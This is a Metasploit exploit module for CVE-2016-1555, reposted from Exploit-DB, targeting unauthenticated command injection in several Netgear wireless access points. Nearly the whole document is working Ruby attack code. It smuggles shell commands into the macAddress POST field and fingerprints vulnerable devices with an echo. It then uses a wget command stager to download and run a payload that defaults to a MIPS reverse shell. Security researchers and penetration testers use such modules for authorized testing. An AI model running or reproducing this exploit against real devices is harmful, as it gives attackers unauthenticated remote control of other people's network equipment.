Netgear Devices – (Unauthenticated) Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-11-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45909/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Netgear Devices Unauthenticated Remote Command Execution',
    'Description' => %q{
    From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
    (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
    Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
    WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
    arbitrary commands.
    },
    'Author'=>
    [
    'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery
    'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    ['CVE', '2016-1555'],
    ['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'],
    ['PACKETSTORM', '135956'],
    ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112']
    ],
    'DisclosureDate' => 'Feb 25 2016', # According to http://seclists.org/fulldisclosure/2016/Feb/112
    'Privileged' => true,
    'Platform' => 'linux',
    'Arch' => ARCH_MIPSBE,
    'Payload'=> {},
    'DefaultOptions' => {
    'CMDSTAGER::FLAVOR' => 'wget',
    'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
    'WfsDelay'=> 10 },
    'Targets'=> [['Automatic', { }]],
    'CmdStagerFlavor'=> %w{ echo printf wget },
    'DefaultTarget'=> 0
    ))
    register_options(
    [
    OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php
    OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)])
    ])
    end
    
    # check for vulnerability existence
    def check
    fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
    res = execute_command("echo #{fingerprint}") # the raw POST response
    
    unless res
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    end
    
    unless res.code == 200
    return CheckCode::Safe
    end
    
    unless res.get_html_document.at('input').to_s.include? fingerprint
    return CheckCode::Safe
    end
    
    CheckCode::Vulnerable
    end
    
    # execute a command, or simply send a POST request
    def execute_command(cmd, opts = {})
    vars_post = {
    'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};",
    'reginfo' => '1',
    'writeData' => 'Submit'
    }
    
    send_request_cgi({
    'method'=> 'POST',
    'headers' => { 'Connection' => 'Keep-Alive' },
    'uri' => normalize_uri(target_uri.path),
    'vars_post' => vars_post
    })
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
    end
    
    # the exploit method
    def exploit
    #run a check before attempting to exploit
    unless [CheckCode::Vulnerable].include? check
    fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
    end
    
    execute_cmdstager(linemax: 2048) # maximum 130,000
    end
    
    end